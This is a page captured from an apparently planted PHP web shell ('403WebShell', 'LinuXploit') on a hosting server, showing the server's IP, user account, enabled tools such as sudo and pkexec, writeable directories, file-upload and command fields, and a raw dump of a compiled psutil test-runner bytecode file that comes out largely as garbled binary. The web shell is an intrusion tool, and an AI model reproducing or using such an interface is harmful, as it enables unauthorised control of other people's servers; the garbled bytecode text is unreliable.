Uname:Linux server2.hostofiraq.site 5.15.0-186-generic #196-Ubuntu SMP Sat Jun 20 16:09:34 UTC 2026 x86_64

Base Dir : /home/iscmbt-kufa-atu/public_html

User : iscmbt-kufa-atu


403WebShell
403Webshell
Server IP : 89.117.53.150  /  Your IP : 216.73.216.11
Web Server : Apache
System : Linux server2.hostofiraq.site 5.15.0-186-generic #196-Ubuntu SMP Sat Jun 20 16:09:34 UTC 2026 x86_64
User : iscmbt-kufa-atu ( 1014)
PHP Version : 8.2.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/psutil/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/psutil/tests/__pycache__/runner.cpython-310.pyc
o

���a�+�@s�dZddlmZddlZddlZddlZddlZddlZddlZddl	Z	zddl
Z
Wney5dZ
YnwzddlZWneyGdZYnwddl
Z
ddlmZddlmZddlmZddlmZddlmZdd	lmZdd
lmZddlmZddlmZd
ZdZe
��p�dZeo�e�Zej� ej�!e"��Z#e	j$j%Z%d$dd�Z&Gdd�d�Z'Gdd�de	j(�Z)Gdd�de	j*�Z+Gdd�de+�Z,d%dd�Z-dd�Z.dd �Z/d!d"�Z0e1d#kr�e0�dSdS)&aA
Unit test runner, providing new features on top of unittest module:
- colourized output
- parallel run (UNIX only)
- print failures/tracebacks on CTRL+C
- re-run failed tests only (make test-failed)

Invocation examples:
- make test
- make test-failed

Parallel:
- make test-parallel
- make test-process ARGS=--parallel
�)�print_functionN)�hilite)�print_color)�term_supports_colors)�super)�
CI_TESTING)�import_module_by_path)�
print_sysinfo)�
reap_children)�safe_rmpath�z.failed-tests.txt�FcCsD|dur|dkrtjntj}trt||||d�dSt||d�dS)N�red)�bold�file)r)�sys�stderr�stdout�
USE_COLORSr�print)�msg�colorrr�r�5/usr/lib/python3/dist-packages/psutil/tests/runner.py�cprintAs
rc@sVeZdZeZdgZdejvre�gd��dd�Z	dd�Z
dd	�Zd
d�Zdd
�Z
dS)�
TestLoaderztest_memleaks.py�WHEELHOUSE_UPLOADER_USERNAME)ztest_osx.pyz
test_linux.pyz
test_posix.pycs�fdd�t��j�D�S)Ncs:g|]}|�d�r|�d�r|�jvrtj��j|��qS)�test_�.py)�
startswith�endswith�
skip_files�os�path�join�testdir)�.0�x��selfrr�
<listcomp>Rs��
�z,TestLoader._get_testmods.<locals>.<listcomp>)r"�listdirr%r(rr(r�
_get_testmodsQs

�zTestLoader._get_testmodsccsP�|��D] }t|�}t|�D]}t||�}t|t�r$t|tj�r$|VqqdS)zgIterate over all test files in this directory and return
        all TestCase classes in them.
        N)	r,r�dir�getattr�
isinstance�type�
issubclass�unittest�TestCase)r)r#�mod�name�objrrr�_iter_testmod_classesWs�


����z TestLoader._iter_testmod_classescCs,t��}|��D]}t|�}|�|�q|S�N)r2�	TestSuiter7�loadTestsFromTestCase�addTest)r)�suiter6�testrrr�allcs
zTestLoader.allcCsrt��}tj�t�s|Sttd��}|����}Wd�n1s"wY|D]
}tj	�
|�}|�|�q)|S)N�rt)r2r9r"r#�isfile�FAILED_TESTS_FNAME�open�read�split�defaultTestLoader�loadTestsFromNamer;)r)r<�f�names�nr=rrr�last_failedjs�zTestLoader.last_failedcCs.|�d�rtj�tj�|��d}tj�|�S)Nrr)r r"r#�splitext�basenamer2rErF)r)r5rrr�	from_namevs
zTestLoader.from_nameN)�__name__�
__module__�__qualname__�HEREr%r!r"�environ�extendr,r7r>rJrMrrrrrJs
rcs<eZdZdd�Zdd�Zdd�Zdd�Z�fd	d
�Z�ZS)�ColouredResultcCstj�||�tdd�dS)N�OK�green)r2�
TestResult�
addSuccessr)r)r=rrrrX~szColouredResult.addSuccesscCs"tj�|||�tdddd�dS)N�ERRORrT�r)r2rW�addErrorr�r)r=�errrrrr[�szColouredResult.addErrorcCstj�|||�tdd�dS)N�FAILr)r2rW�
addFailurerr\rrrr_�szColouredResult.addFailurecCs&tj�|||�td|��d�dS)Nzskipped: %s�brown)r2rW�addSkipr�strip)r)r=�reasonrrrra�szColouredResult.addSkipcs$t|d|dkd�}t��||�dS)NrrYrZ)rr�printErrorList)r)�flavour�errors��	__class__rrrd�szColouredResult.printErrorList)	rNrOrPrXr[r_rard�
__classcell__rrrgrrT|srTcsfeZdZdZer
enejZ�fdd�Z	�fdd�Z
dd�Zdd	�Z�fd
d�Z
dd
�Zdd�Z�ZS)�ColouredTextRunnerz�
    A coloured text runner which also prints failed tests on KeyboardInterrupt
    and save failed tests in a file so that they can be re-run.
    cst�j|i|��t�|_dSr8)r�__init__�set�
failed_tnames)r)�args�kwargsrgrrrk�szColouredTextRunner.__init__cst���|_|jSr8)r�_makeResult�resultr(rgrrrp�szColouredTextRunner._makeResultcCsT|jr(ttd��}|jD]	}|�|d�qWd�dS1s!wYdSdS)N�wt�
)rmrBrA�write)r)rG�tnamerrr�_write_last_failed�s
�"��z%ColouredTextRunner._write_last_failedcCs:|��s|j|jD]}|d��}|j�|�q
dSdS)Nr)�
wasSuccessfulrf�failures�idrm�add)r)rq�trurrr�_save_result�s�zColouredTextRunner._save_resultc	sLzt��|�}Wnttfy|jj}|��t�d��w|�	|�|S)Nr
)
r�run�KeyboardInterrupt�
SystemExit�runnerrq�printErrorsr�exitr|�r)r<rqrgrr�_run�s
�
zColouredTextRunner._runcCsL|rtdddd�tt�t�d�dStdddd�|��t�d�dS)	N�SUCCESSrVTrZr�FAILEDrr
)rrrArr�rv)r)�successrrr�_exit�szColouredTextRunner._exitcCs|�|�}|�|���dSr8)r�r�rwr�rrrr}�s
zColouredTextRunner.run)rNrOrP�__doc__rrTr2�TextTestResult�resultclassrkrprvr|r�r�r}rirrrgrrj�s
rjc@s,eZdZedd��Zedd��Zdd�ZdS)�ParallelRunnercs0�fdd�}tj�|tj_t�t�}t�||�S)Ncs�||�}t�|j�|Sr8)�atexit�register�close)�fd�mode�kwds�stream��orig_fdopenrr�fdopen�s
z+ParallelRunner._parallelize.<locals>.fdopen)r"r��concurrencytest�fork_for_tests�NWORKERS�ConcurrentTestSuite)r<r��forkerrr�r�_parallelize�s

zParallelRunner._parallelizecCs�t��}t��}|D]6}|��dkrq
t|tj�r |jdj}nt|tj�r)|}ntd|��t|dd�r;|�	|�q
|�	|�q
||fS)Nrzcan't recognize type %r�
_serialrunF)
r2r9�countTestCasesr/�_testsrhr3�	TypeErrorr.r;)r<�serial�parallelr=�
test_classrrr�_split_suite�szParallelRunner._split_suitecCsV|�|�\}}|�|�}tdtddd�t��}|�|�}t��|}t����}tj	|dd�\}}	|	r?td|	d�t
�t��}|�|�}
t��|}|��s\|��d	kr\|�
�tt|j|j|jf�\}}
}tt|
j|
j|
jf�\}}}tt�d
|j||
|||
j||||f
��td|j|
j||tf�|��o�|
��}|�|�dS)Nz(starting parallel tests using %s workersrVTrZr
)�timeoutzalive processes %srra=
            +----------+----------+----------+----------+----------+----------+
            |          |    total | failures |   errors |  skipped |     time |
            +----------+----------+----------+----------+----------+----------+
            | parallel |      %3s |      %3s |      %3s |      %3s |    %.2fs |
            +----------+----------+----------+----------+----------+----------+
            | serial   |      %3s |      %3s |      %3s |      %3s |    %.2fs |
            +----------+----------+----------+----------+----------+----------+
            z&Ran %s tests in %.3fs using %s workers)r�r�rr��timer��psutil�Process�children�
wait_procsr
rwr�r��map�lenrxrf�skippedr�textwrap�dedent�testsRunr�)r)r<�	ser_suite�	par_suiter{�par�par_elapsed�orphans�gone�alive�ser�ser_elapsed�	par_fails�par_errs�	par_skips�	ser_fails�ser_errs�	ser_skips�okrrrr}�sH
�

����
�zParallelRunner.runN)rNrOrP�staticmethodr�r�r}rrrrr��s

r�cCsTdd�}|r%tjr|d�ntdur|d�ntdkr |d�nttd�Sttd�S)NcSst|dd�dS)Nz Running serial tests instead.r)r)rrrr�warn szget_runner.<locals>.warnz$Can't run parallel tests on Windows.z(concurrencytest module is not installed.r
zOnly 1 CPU available.)�	verbosity)r��WINDOWSr�r�r��	VERBOSITYrj)r�r�rrr�
get_runners




r�cCs*trt�t��|�}t�}|�|�dSr8)rr	rrMr�r})r5r<r�rrr�
run_from_name/s
r�cCst�d�dS)NT)r��
_set_debugrrrr�setup7sr�cCs�t�d}tj|dd�}|jddddd�|jd	ddd
d�|��\}}|js+tt�t�}|rGt	|�dkr?|�
�t�d�S|�
|d�}n|jrO|��}n|��}trXt�t|j�}|�|�dS)
Nz*python3 -m psutil.tests [opts] [test-name]zrun unit tests)�usage�descriptionz
--last-failed�
store_trueFzonly run last failed tests)�action�default�helpz
--parallelzrun tests in parallelr
r)r��optparse�OptionParser�
add_option�
parse_argsrJrrArr��print_usagerr�rMr>rr	r�r�r})r��parser�optsrn�loaderr<r�rrr�main;s6��


r��__main__)FN)F)2r��
__future__rr�r�r"rr�r�r2�ctypes�ImportErrorr�r��psutil._commonrrr�psutil._compatr�psutil.testsrrr	r
rr�rA�	cpu_countr�rr#�abspath�dirname�__file__rQrEr:rrr�rT�TextTestRunnerrjr�r�r�r�r�rNrrrr�<module>s^��
	27
U"
�

Youez - 2016 - github.com/yon3zu
LinuXploit